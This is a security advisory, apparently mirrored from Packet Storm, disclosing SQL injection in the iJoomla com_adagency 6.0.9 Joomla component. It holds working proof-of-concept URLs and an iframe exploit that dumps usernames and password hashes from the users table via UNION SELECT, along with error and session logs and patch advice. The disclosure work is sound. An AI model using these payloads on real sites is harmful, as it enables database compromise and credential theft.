Joomla Ad Agency 6.0.9 SQL Injection

2018-01-05T00:00:00
ID PACKETSTORM:145691
Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2018-01-05T00:00:00

Description

                                        
                                            `Document Title:  
===============  
iJoomla com_adagency 6.0.9 - SQL Injection Vulnerabilities  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1927  
  
  
Release Date:  
=============  
2018-01-04  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1927  
  
  
Common Vulnerability Scoring System:  
====================================  
7.1  
  
  
Vulnerability Class:  
====================  
SQL Injection  
  
  
Current Estimated Price:  
========================  
2.000a! - 3.000a!  
  
  
Product & Service Introduction:  
===============================  
Ad Agency is the #1 advertising extension for Joomla! Start generating income from your traffic today by creating an advertising program.  
d Agency's front-end is completely responsive. It looks great on any device, no matter the size. Your advertising campaigns are now   
more flexible than ever! Youare free to choose the number of ads to display horizontally and vertically, so you can have several ads in   
one row, in more than one row, or create multiple columns of ads.It's completely up to you!  
  
(Copy of the Vendor Homepage: https://adagency.ijoomla.com/)  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered multiple remote sql-injection vulnerabilities in the iJoomla (Joomla) com_adagency 6.0.9 component.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2018-01-04: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
iJoomla  
Product: com_adagency - Component (Joomla) 6.0.9  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
Multiple remote sql-injection vulnerabilities has been discovered in the official iJoomla com_adagency v6.0.9 content management system component.  
The sql-injection vulnerability allows remote attackers to inject own sql commands to compromise the database management system or web-application.  
  
The sql-injection vulnerabilities are located in the `advertiser_status` and `status_select` parameters of the `com_adagency` component module.  
Remote attackers are able to perform malicious GET method request to execute sql command via vulnerable parameters. Remote attackers can trigger   
the issue depending on the access privileges with a restricted or unauthenticated user account. The vulnerability is a classic remote select sql   
injection vulnerability in the `com_adagency` component module.  
  
The security risk of the sql-injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1.  
Exploitation of the remote sql injection web vulnerability requires no user interaction or privileged web-application user account.  
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.  
  
Request Method(s):  
[+] GET  
  
Vulnerable Module(s):  
[+] com_adagency  
  
Vulnerable File(s):  
[+] index.php  
  
Vulnerable Parameter(s):  
[+] advertiser_status  
[+] status_select  
  
  
Proof of Concept (PoC):  
=======================  
The remote sql-injection web vulnerabilities can be exploited by remote attackers with privileged web-application user account and without user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
  
PoC: Payload Exploitatation (status_select & advertiser_status)  
http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status=-1%27Y[SQL-INJECTION VULNERABILITY!]--  
http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAds&status_select=Y-1%27[SQL-INJECTION VULNERABILITY!]**&camp_id=3  
  
  
PoC: Exploit  
<html>  
<head><body>  
<title>SQL-Injection PoC (status_select & advertiser_status)</title>  
<iframe src=http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status=  
-9999999/**/union/**/select/**/0,concat(username,0x3a,password),0x3a,concat(username,0x3a,password),/**/from/**/jos_users/**>  
<br><br>  
<iframe src=http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAds&status_select=  
Y-9999999/**/union/**/select/**/0,concat(username,0x3a,password),0x3a,concat(username,0x3a,password),/**/from/**/jos_users/**&camp_id=3>  
</body></head>  
<html>  
  
  
--- PoC Exception & Error Logs ---  
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax near line 1  
-  
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near   
'Y%' GROUP BY advertis.aid ORDER BY advertis.ordering ASC' at line 1 SQL=SELECT user.id, advertis.aid, advertis.ordering, advertis.company,   
advertis.approved, advertis.user_id, user.name, user.email, user.block, user.username, user.registerDate, count(c.id) count FROM   
#__ad_agency_advertis as advertis LEFT OUTER JOIN #__users as user on user.id=advertis.user_id LEFT JOIN #__ad_agency_campaign as c on   
c.aid=advertis.aid WHERE 1=1 AND user.id<>'' AND advertis.approved LIKE '%-1'Y%' GROUP BY advertis.aid ORDER BY advertis.ordering ASC  
-  
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near   
''Y-1'' AND cb.`campaign_id`=3 GROUP BY b.id ORDE' at line 15 SQL=SELECT b . * , camp.id campaign_id, camp.name campaign_name, a.aid AS   
advertiser_id2, a.company AS advertiser, concat( width, 'x', height ) AS size_type, m.id mid, m.title zone_name FROM #__ad_agency_banners   
AS b LEFT OUTER JOIN #__ad_agency_advertis AS a ON b.advertiser_id = a.aid LEFT JOIN #__ad_agency_campaign_banner AS cb ON cb.banner_id =   
b.id LEFT JOIN #__ad_agency_campaign AS camp ON camp.id = cb.campaign_id LEFT JOIN #__ad_agency_order_type AS p ON camp.otid = p.tid LEFT   
JOIN #__modules AS m ON m.id = cb.zone WHERE 1=1 AND b.approved = 'Y-1'' AND cb.`campaign_id`=3 GROUP BY b.id ORDER BY b.ordering ASC ,   
b.id DESC LIMIT 0,30  
  
  
--- PoC Session Logs [GET] ---  
Status: 200[OK]  
GET http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAds&status_select=Y-1%27[SQL-INJECTION VULNERABILITY!]**&camp_id=3  
Mime Type[text/html]  
Request Header:  
Host[joomla.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0]  
Cookie[dacce502d8fa40f12fdba764da41b8cf=8uusag3vgk0544u8phf9c4oa11; currentURI=http%3A%2F%2Fjoomla.localhost:8080%2F;   
em_cdn_uid=t%3D1471798050244%26u%3D11f009a55e864578928adec2c70fa876; 350a4e86045327a856d5c0333a428604=ukf6ldgrs5ekdrukh8p8s422k0; activeProfile=0]  
Connection[keep-alive]  
Upgrade-Insecure-Requests[1]  
Response Header:  
Server[Apache]  
X-Powered-By[PHP/7.0.9]  
P3P[CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"]  
Connection[Keep-Alive]  
Transfer-Encoding[chunked]  
Content-Type[text/html; charset=UTF-8]  
-  
Status: 200[OK]  
GET http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status=-1%27Y[SQL-INJECTION VULNERABILITY!]**   
Mime Type[text/html]  
Request Header:  
Host[joomla.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Cookie[jsju=0; dacce502d8fa40f12fdba764da41b8cf=8uusag3vgk0544u8phf9c4oa11;   
currentURI=http%3A%2F%2Fjoomla.localhost:8080%2F;   
em_cdn_uid=t%3D1471798050244%26u%3D11f009a55e864578928adec2c70fa876;   
350a4e86045327a856d5c0333a428604=ivi4d2j9782af9h0kntmqi6m43; activeProfile=0]  
Connection[keep-alive]  
Upgrade-Insecure-Requests[1]  
Response Header:  
Server[Apache]  
X-Powered-By[PHP/7.0.9]  
P3P[CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"]  
Transfer-Encoding[chunked]  
Content-Type[text/html; charset=UTF-8]  
  
  
Reference(s):  
http://joomla.localhost:8080/  
http://joomla.localhost:8080/index.php  
http://joomla.localhost:8080/index.php?option=  
http://joomla.localhost:8080/index.php?option=com_adagency  
http://joomla.localhost:8080/index.php?option=com_adagency&controller  
http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers  
http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status  
http://joomla.localhost:8080/administrator/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a secure parse and restriction of the vulnerable `advertiser_status` and `status_select` parameters in   
the com_adagency component. Disallow the usage of special chars, escape the entries and use a prepared statement to prevent exploitation   
of the vulnerabilities.  
  
Note: The vulnerability has been resolved in the last com_adagency component updates in 2017 Q1-4.  
  
  
Security Risk:  
==============  
The security risk of the remote sql injection web vulnerabilities in the com_adagency 6.0.9 joomla component is estimated as high (CVSS 7.1).  
  
  
Credits & Authors:  
==================  
Benjamin K.M. [bkm@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or   
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any   
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its   
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental  
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface   
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories   
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,   
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.   
  
Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
  
Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.   
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by   
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark   
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.  
  
Copyright A(c) 2018 | Vulnerability Laboratory - [Evolution Security GmbH]aC/  
  
  
  
--   
VULNERABILITY LABORATORY - RESEARCH TEAM  
SERVICE: www.vulnerability-lab.com  
`